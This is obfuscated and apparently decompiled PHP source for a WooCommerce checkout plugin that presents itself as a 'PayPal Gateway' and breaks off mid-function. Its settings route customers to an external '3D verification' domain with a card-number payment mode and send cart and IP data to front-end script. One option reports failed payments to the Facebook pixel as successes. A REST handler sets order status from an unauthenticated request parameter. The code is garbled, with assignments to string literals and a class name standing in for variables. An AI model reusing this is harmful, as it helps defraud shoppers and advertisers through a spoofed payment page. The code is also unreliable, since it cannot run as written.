$request){$U2yBuEt34[]=16;$U2yBuEt34[]=5;$U2yBuEt34[]=11;$U2yBuEt34[]=12;$U2yBuEt34[]=17;$U2yzA8H=array();$U2yzA8H[]='order_id';$U2yzA8I=array();$U2yzA8I[]=$request;$U2yzA8I[]="get_param";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8G;$U2yzA8H=array();$U2yzA8H[]='status';$U2yzA8I=array();$U2yzA8I[]=$request;$U2yzA8I[]="get_param";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8G;$U2yzA8H=array();$U2yzA8H[]=&'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yeF8G=call_user_func_array("wc_get_order",$U2yzA8H);unset($U2yzA8H);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yeF8G;$U2yOiRy3=4922;'100'=!'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';if('100')goto U2yeWjgx6;goto U2yldMhx6;U2yeWjgx6:$U2yOiRy3="r"*"r";goto U2yx5;U2yldMhx6:U2yx5:'100'=18*15;$U2y8H='100'-215;$U2y8I=$U2yOiRy3==$U2y8H;if($U2y8I)goto U2yeWjgx8;goto U2yldMhx8;U2yeWjgx8:'100'=new WP_REST_Response('Order not found',404);return '100';goto U2yx7;U2yldMhx8:U2yx7:$U2yOiRy5=4922;'100'='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'==='success';if('100')goto U2yeWjgxa;goto U2yldMhxa;U2yeWjgxa:$U2yOiRy5="y"*"y";goto U2yx9;U2yldMhxa:$U2yOiRy5="r"*"r";U2yx9:'100'=15*19;$U2y8H='100'+4;$U2y8I=$U2yOiRy5==$U2y8H;if($U2y8I)goto U2yeWjgxc;goto U2yldMhxc;U2yeWjgxc:$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I[]="payment_complete";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8H=array();$U2yzA8H[]='Payment received';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8K=array();$U2yzA8K[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8K[]="add_order_note";$U2yhC8I=call_user_func_array($U2yzA8K,$U2yzA8J);unset($U2yzA8J);unset($U2yzA8K);$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I[]="get_checkout_order_received_url";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8J=array();$U2yzA8J['result']='success';$U2yzA8J['url']=$U2yhCvP8G;unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yzA8J;'100'=new WP_REST_Response('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway',200);return '100';goto U2yxb;U2yldMhxc:'100'=3*10;$U2y8H='100'+25;$U2y8I=$U2yOiRy5==$U2y8H;if($U2y8I)goto U2yeWjgxd;goto U2yldMhxd;U2yeWjgxd:$U2yzA8H=array();$U2yzA8H[]='Payment failed';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]='failed';$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8K=array();$U2yzA8K[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8K[]="update_status";$U2yhC8I=call_user_func_array($U2yzA8K,$U2yzA8J);unset($U2yzA8J);unset($U2yzA8K);'100'=new WP_REST_Response('success',500);return '100';goto U2yxb;U2yldMhxd:U2yxb:}function lighthouse_paypal_init_gateway_class(){$U2yBuEt35=array();$U2yBuEt35[]=15;$U2yBuEt35[]=9;$U2yBuEt35[]=6;$U2yBuEt35[]=11;$U2yBuEt35[]=20;if(1){class WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway extends WC_Payment_Gateway{public $payment_type;public $verification_type;public $prefix;public $domain;public $fbq_check;public $store_name;public $show_close;public $error_text;public function __construct(){$U2yBuEt39=array();$U2yBuEt39[]=15;$U2yBuEt39[]=12;$U2yBuEt39[]=5;$U2yBuEt39[]=10;$U2yBuEt39[]=16;unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'='woocommerce_payments_lighthouse_paypal_gateway';$this->id='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'='/wp-content/plugins/paypal-gateway/assets/images/paypal_logosvg';$this->icon='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=true;$this->has_fields='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'='PayPal Gateway';$this->method_title='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'='Payment Gateway';$this->method_description='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="init_form_fields";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="init_settings";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8I=array();$U2yzA8I[]='pp_title';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8H;$this->title='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I=array();$U2yzA8I[]='pp_description';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8H;$this->description='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I=array();$U2yzA8I[]='pp_payment_type';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8H;$this->payment_type='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I=array();$U2yzA8I[]='pp_verification_type';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8H;$this->verification_type='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yzA8H[]='pp_prefix';$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="get_option";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=trim($U2yhCvP8G);$this->prefix='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yzA8H[]='pp_domain';$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="get_option";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=trim($U2yhCvP8G);$this->domain='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I=array();$U2yzA8I[]='pp_fbq_check';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8H;$this->fbq_check='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I=array();$U2yzA8I[]='pp_store_name';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8H;$this->store_name='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I=array();$U2yzA8I[]='pp_show_close';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8H;$this->show_close='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I=array();$U2yzA8I[]='pp_error_text';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8H;$this->error_text='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yvP8G='woocommerce_update_options_payment_gateways_' . $this->id;$U2yzAvP8H=array();$U2yzAvP8H[]=$this;$U2yzAvP8H[]='process_admin_options';add_action($U2yvP8G,$U2yzAvP8H);$U2yzAvP8G=array();$U2yzAvP8G[]=$this;$U2yzAvP8G[]='enqueue_style';$U2yzA8I=array();$U2yzA8I[]='wp_enqueue_scripts';$U2yzA8I[]=&$U2yzAvP8G;$U2yeF8H=call_user_func_array("add_action",$U2yzA8I);unset($U2yzA8I);$U2yzAvP8G=array();$U2yzAvP8G[]=$this;$U2yzAvP8G[]='enqueue_scripts';$U2yzA8I=array();$U2yzA8I[]='wp_enqueue_scripts';$U2yzA8I[]=&$U2yzAvP8G;$U2yeF8H=call_user_func_array("add_action",$U2yzA8I);unset($U2yzA8I);}public function init_form_fields(){$U2yBuEt40=array();$U2yBuEt40[]=7;$U2yBuEt40[]=11;$U2yBuEt40[]=6;$U2yBuEt40[]=8;$U2yBuEt40[]=19;$U2yzAvP8H=array();$U2yzAvP8H['title']='Title';$U2yzAvP8H['type']='text';$U2yzAvP8H['description']='*结账页面标题(This controls the title which the user sees during checkout.)';$U2yzAvP8H['default']='PayPal';$U2yzAvP8I=array();$U2yzAvP8I['title']='Description';$U2yzAvP8I['type']='textarea';$U2yzAvP8I['description']='*结账页面描述(This controls the description which the user sees during checkout.)';$U2yzAvP8I['default']='Click the PayPal button below to process your order.';$U2yzA8K=array();$U2yzA8K[]='站内支付 Inside';$U2yzA8K[]='1';$U2yeFvPvPvP8J=call_user_func_array("__",$U2yzA8K);unset($U2yzA8K);$U2yzAvPvP8L=array();$U2yzAvPvP8L['1']=$U2yeFvPvPvP8J;$U2yzAvP8M=array();$U2yzAvP8M['title']='payment type';$U2yzAvP8M['type']='select';$U2yzAvP8M['description']='付款方式(3D verification page display type.)';$U2yzAvP8M['options']=$U2yzAvPvP8L;$U2yzAvP8M['default']='1';$U2yzA8O=array();$U2yzA8O[]='默认';$U2yzA8O[]='1';$U2yeFvPvPvP8N=call_user_func_array("__",$U2yzA8O);unset($U2yzA8O);$U2yzA8Q=array();$U2yzA8Q[]='账号付款';$U2yzA8Q[]='2';$U2yeFvPvPvP8P=call_user_func_array("__",$U2yzA8Q);unset($U2yzA8Q);$U2yzA8S=array();$U2yzA8S[]='卡号付款';$U2yzA8S[]='3';$U2yeFvPvPvP8R=call_user_func_array("__",$U2yzA8S);unset($U2yzA8S);$U2yzAvPvP8T=array();$U2yzAvPvP8T['1']=$U2yeFvPvPvP8N;$U2yzAvPvP8T['2']=$U2yeFvPvPvP8P;$U2yzAvPvP8T['3']=$U2yeFvPvPvP8R;$U2yzAvP8U=array();$U2yzAvP8U['title']='3D verification type';$U2yzAvP8U['type']='select';$U2yzAvP8U['description']='3D验证页面展示类型(3D verification page display type.)';$U2yzAvP8U['options']=$U2yzAvPvP8T;$U2yzAvP8U['default']='3';$U2yzAvP8V=array();$U2yzAvP8V['title']='3D verified domain';$U2yzAvP8V['type']='text';$U2yzAvP8V['description']='*3D验证域名(复制同步后台-源码配置-前台地址)/ 3D verification domain name (copy and synchronize backend-source code configuration-frontend address)';$U2yzAvP8W=array();$U2yzAvP8W['title']='Order prefix';$U2yzAvP8W['type']='text';$U2yzAvP8W['description']='*后台显示订单前缀(Prevent duplication of order numbers on different sites.)';$U2yzAvP8W['default']='PP';$U2yzAvP8X=array();$U2yzAvP8X['title']='Store name';$U2yzAvP8X['type']='text';$U2yzAvP8X['description']='*3D页面显示的商店(Please fill in the store name displayed when 3D verification payment.)';$U2yzAvP8X['default']='PayPal';$U2yzAvP8Y=array();$U2yzAvP8Y['title']='Payment error message';$U2yzAvP8Y['type']='textarea';$U2yzAvP8Y['description']='*支付错误提示(Payment error message.)';$U2yzAvP8Y['default']="Sorry, an error occurred during the payment processPlease try again later or contact our customer service team for assistance.";$U2yzAvP8Z=array();$U2yzAvP8Z['title']='3ds close button';$U2yzAvP8Z['label']='Enable/Disable';$U2yzAvP8Z['type']='checkbox';$U2yzAvP8Z['description']='是否显示3D验证页面右上角的关闭按钮(Whether to display the close button in the upper right corner of the 3D verification page.)';$U2yzAvP8Z['default']='no';$U2yzAvP90=array();$U2yzAvP90['title']='Facebook payment success';$U2yzAvP90['label']='Enable/Disable';$U2yzAvP90['type']='checkbox';$U2yzAvP90['description']='点击支付时,FB像素会回传成功的像素,不管支付成功还是失败(Customize Facebook pixel to convert payment failure to success.)';$U2yzAvP90['default']='no';$U2yzA91=array();$U2yzA91['pp_title']=$U2yzAvP8H;$U2yzA91['pp_description']=$U2yzAvP8I;$U2yzA91['pp_payment_type']=$U2yzAvP8M;$U2yzA91['pp_verification_type']=$U2yzAvP8U;$U2yzA91['pp_domain']=$U2yzAvP8V;$U2yzA91['pp_prefix']=$U2yzAvP8W;$U2yzA91['pp_store_name']=$U2yzAvP8X;$U2yzA91['pp_error_text']=$U2yzAvP8Y;$U2yzA91['pp_show_close']=$U2yzAvP8Z;$U2yzA91['pp_fbq_check']=$U2yzAvP90;unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yzA91;$this->form_fields='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';}public function enqueue_style(){$U2yBuEt41[]=19;$U2yBuEt41[]=3;$U2yBuEt41[]=14;$U2yBuEt41[]=18;$U2yBuEt41[]=9;$U2yzA8H=array();$U2yzA8H[]=__FILE__;$U2yeF8G=call_user_func_array("plugin_dir_path",$U2yzA8H);unset($U2yzA8H);'100'=$U2yeF8G . 'assets/css/appcss';unset('100');$css_file='100';$U2yzA8H=array();$U2yzA8H[]=&$css_file;$U2yeF8G=call_user_func_array("file_exists",$U2yzA8H);unset($U2yzA8H);$U2yOiRy11=6870;if($U2yeF8G)goto U2yeWjgxn;goto U2yldMhxn;U2yeWjgxn:$U2yOiRy11="a"*"r";goto U2yxm;U2yldMhxn:$U2yOiRy11="r"*"r";U2yxm:$U2y8I=6*8;$U2y8J=$U2y8I+218;$U2y8K=$U2yOiRy11==$U2y8J;if($U2y8K)goto U2yeWjgxp;goto U2yldMhxp;U2yeWjgxp:$U2yzA8J=array();$U2yzA8J[]=&$css_file;$U2yeF8I=call_user_func_array("filemtime",$U2yzA8J);unset($U2yzA8J);'100'=$U2yeF8I;goto U2yxo;U2yldMhxp:$U2y8L=2*15;$U2y8M=$U2y8L+12;$U2y8N=$U2yOiRy11==$U2y8M;if($U2y8N)goto U2yeWjgxq;goto U2yldMhxq;U2yeWjgxq:goto U2yxo;U2yldMhxq:U2yxo:unset('100');$version='100';$U2yzA8H=array();$U2yzA8H[]=__FILE__;$U2yeFvP8G=call_user_func_array("plugin_dir_url",$U2yzA8H);unset($U2yzA8H);$U2yvP8G=$U2yeFvP8G . 'assets/css/appcss';$U2yzAvP8I=array();$U2yzA8K=array();$U2yzA8K[]='paypal-gateway-css';$U2yzA8K[]=&$U2yvP8G;$U2yzA8K[]=&$U2yzAvP8I;$U2yzA8K[]=&$version;$U2yeF8J=call_user_func_array("wp_register_style",$U2yzA8K);unset($U2yzA8K);$U2yzA8H=array();$U2yzA8H[]='paypal-gateway-css';$U2yeF8G=call_user_func_array("wp_enqueue_style",$U2yzA8H);unset($U2yzA8H);}public function enqueue_scripts(){$U2yBuEt42=array();$U2yBuEt42[]=7;$U2yBuEt42[]=3;$U2yBuEt42[]=12;$U2yBuEt42[]=7;$U2yBuEt42[]=15;$U2yzA8H=array();$U2yzA8H[]='assets/js/crypto-jsminjs';$U2yzA8H[]=__FILE__;$U2yeFvP8G=call_user_func_array("plugins_url",$U2yzA8H);unset($U2yzA8H);$U2yzAvP8I=array();$U2yzA8K=array();$U2yzA8K[]='CryptoJS';$U2yzA8K[]=&$U2yeFvP8G;$U2yzA8K[]=&$U2yzAvP8I;$U2yzA8K[]=null;$U2yzA8K[]=true;$U2yeF8J=call_user_func_array("wp_enqueue_script",$U2yzA8K);unset($U2yzA8K);$U2yOiRy16=3379;$U2yzA8H=array();$U2yeF8G=call_user_func_array("is_checkout",$U2yzA8H);unset($U2yzA8H);'100'=(bool)$U2yeF8G;$U2y8H=!'100';if($U2y8H)goto U2yeWjgxt;goto U2yldMhxt;U2yeWjgxt:$U2yzA8J=array();$U2yzA8J[]='order-pay';$U2yeF8I=call_user_func_array("is_wc_endpoint_url",$U2yzA8J);unset($U2yzA8J);'100'=(bool)$U2yeF8I;goto U2yxs;U2yldMhxt:U2yxs:if('100')goto U2yeWjgxu;goto U2yldMhxu;U2yeWjgxu:$U2yOiRy16="a"*"r";goto U2yxr;U2yldMhxu:U2yxr:'100'=6*14;$U2y8H='100'-63;$U2y8I=$U2yOiRy16==$U2y8H;if($U2y8I)goto U2yeWjgx12;goto U2yldMhx12;U2yeWjgx12:$U2yzA8H=array();$U2yzA8H[]=__FILE__;$U2yeFvP8G=call_user_func_array("plugin_dir_path",$U2yzA8H);unset($U2yzA8H);$U2yvP8G=$U2yeFvP8G . 'assets/js/appjs';$U2yzA8J=array();$U2yzA8J[]=&$U2yvP8G;$U2yeF8I=call_user_func_array("filemtime",$U2yzA8J);unset($U2yzA8J);unset('100');'100'=$U2yeF8I;unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'='100';$U2yzA8H=array();$U2yzA8H[]='assets/js/appjs';$U2yzA8H[]=__FILE__;$U2yeFvP8G=call_user_func_array("plugins_url",$U2yzA8H);unset($U2yzA8H);$U2yzAvP8I=array();$U2yzAvP8I[]='jquery';$U2yzA8K=array();$U2yzA8K[]='paypal-gateway-js';$U2yzA8K[]=&$U2yeFvP8G;$U2yzA8K[]=&$U2yzAvP8I;$U2yzA8K[]=&'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8K[]=true;$U2yeF8J=call_user_func_array("wp_enqueue_script",$U2yzA8K);unset($U2yzA8K);$U2yzA8G=array();unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yzA8G;unset($U2yEc1);$U2yEc1=array();foreach(WC()->cart->get_cart() as 'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=>'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'){$U2yEc1['WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway']='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';};$U2y1i=0;U2yxv:$U2yzA8H=array();$U2yzA8H[]=&$U2yEc1;$U2yeF8G=call_user_func_array("count",$U2yzA8H);unset($U2yzA8H);'100'=$U2y1i<$U2yeF8G;if('100')goto U2yeWjgx14;goto U2yldMhx14;U2yeWjgx14:goto U2yeWjgxz;goto U2yx13;U2yldMhx14:U2yx13:goto U2yldMhxz;U2yeWjgxz:$U2yzA8H=array();$U2yzA8H[]=&$U2yEc1;$U2yeF8G=call_user_func_array("array_keys",$U2yzA8H);unset($U2yzA8H);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yeF8G;unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'[$U2y1i];unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yEc1['WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'];unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'['data'];$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I[]="get_name";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8K=array();$U2yzA8L=array();$U2yzA8L[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8L[]="get_price";$U2yhCvP8J=call_user_func_array($U2yzA8L,$U2yzA8K);unset($U2yzA8K);unset($U2yzA8L);$U2yzA8M=array();$U2yzA8M['name']=$U2yhCvP8G;$U2yzA8M['quantity']='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'['quantity'];$U2yzA8M['price']=$U2yhCvP8J;unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yzA8M;'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';U2yxw:$U2y1i=$U2y1i+1;goto U2yxv;goto U2yxy;U2yldMhxz:U2yxy:U2yxx:unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=WC()->cart->total;$U2yzA8H=array();$U2yeF8G=call_user_func_array("get_woocommerce_currency_symbol",$U2yzA8H);unset($U2yzA8H);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yeF8G;$U2yzA8H=array();$U2yeF8G=call_user_func_array("get_woocommerce_currency",$U2yzA8H);unset($U2yzA8H);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yeF8G;$U2yzA8J=array();$U2yzA8K=array();$U2yzA8K[]=$this;$U2yzA8K[]="getIpAddress";$U2yhCvPvP8I=call_user_func_array($U2yzA8K,$U2yzA8J);unset($U2yzA8J);unset($U2yzA8K);$U2yzA8Q=array();$U2yeFvPvP8P=call_user_func_array("home_url",$U2yzA8Q);unset($U2yzA8Q);$U2yzA8U=array();$U2yzA8U[]='custom/v3/update_order_status';$U2yeFvPvPvP8T=call_user_func_array("rest_url",$U2yzA8U);unset($U2yzA8U);$U2yzA8W=array();$U2yzA8W[]=&$U2yeFvPvPvP8T;$U2yeFvPvP8V=call_user_func_array("esc_url",$U2yzA8W);unset($U2yzA8W);$U2yzAvP8X=array();$U2yzAvP8X['admin_url']=$this->domain;$U2yzAvP8X['store_name']=$this->store_name;$U2yzAvP8X['ip']=$U2yhCvPvP8I;$U2yzAvP8X['prefix']=$this->prefix;$U2yzAvP8X['fbq_check']=$this->fbq_check;$U2yzAvP8X['cart_items']='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzAvP8X['cart_total']='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzAvP8X['currency_symbol']='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzAvP8X['currency_code']='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzAvP8X['error_text']=$this->error_text;$U2yzAvP8X['show_close']=$this->show_close;$U2yzAvP8X['current_domain']=$U2yeFvPvP8P;$U2yzAvP8X['paymentType']=$this->payment_type;$U2yzAvP8X['showType']=$this->verification_type;$U2yzAvP8X['updateOrderUrl']=$U2yeFvPvP8V;$U2yzA8H=array();$U2yzA8H[]='paypal-gateway-js';$U2yzA8H[]='PayPalGatewayParams';$U2yzA8H[]=&$U2yzAvP8X;$U2yeF8G=call_user_func_array("wp_localize_script",$U2yzA8H);unset($U2yzA8H);goto U2yx11;U2yldMhx12:U2yx11:}public function payment_fields(){$U2yBuEt43=array();$U2yBuEt43[]=6;$U2yBuEt43[]=18;$U2yBuEt43[]=4;$U2yBuEt43[]=11;$U2yBuEt43[]=19;'100'='<fieldset id="wc-' . esc_attr($this->id);$U2y8H='100-cc-form" class="wc-credit-card-form wc-payment-form row row-paypal-gateway" style="background:transparent;">';echo $U2y8H;do_action('woocommerce_credit_card_form_start',$this->id);'100'='<div class="wc-ppcp-payment-method__container">
<div class="wc-ppcp-popup__container">
<img style="height:24px" src="/wp-content/plugins/paypal-gateway/assets/images/popupsvg">
<p style="padding-top: 10px;padding-bottom: 3px;font-size: 14px;">' . $this->description;$U2y8H='100</p>
</div>
</div>
';echo $U2y8H;do_action('woocommerce_credit_card_form_end',$this->id);echo '</fieldset>';}public function getIpAddress(){$U2yBuEt44=array();$U2yBuEt44[]=10;$U2yBuEt44[]=5;$U2yBuEt44[]=12;$U2yBuEt44[]=13;$U2yBuEt44[]=6;$U2yOiRy18=2210;if(class_exists('WC_Geolocation'))goto U2yeWjgx16;goto U2yldMhx16;U2yeWjgx16:$U2yOiRy18="a"*"a";goto U2yx15;U2yldMhx16:$U2yOiRy18="r"*"r";U2yx15:'100'=13*13;$U2y8H='100'-39;$U2y8I=$U2yOiRy18==$U2y8H;if($U2y8I)goto U2yeWjgx18;goto U2yldMhx18;U2yeWjgx18:unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=WC_Geolocation::get_ip_address();goto U2yx17;U2yldMhx18:'100'=20*6;$U2y8H='100'-60;$U2y8I=$U2yOiRy18==$U2y8H;if($U2y8I)goto U2yeWjgx19;goto U2yldMhx19;U2yeWjgx19:$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="getFallbackIp";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8G;goto U2yx17;U2yldMhx19:U2yx17:return 'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';}private function 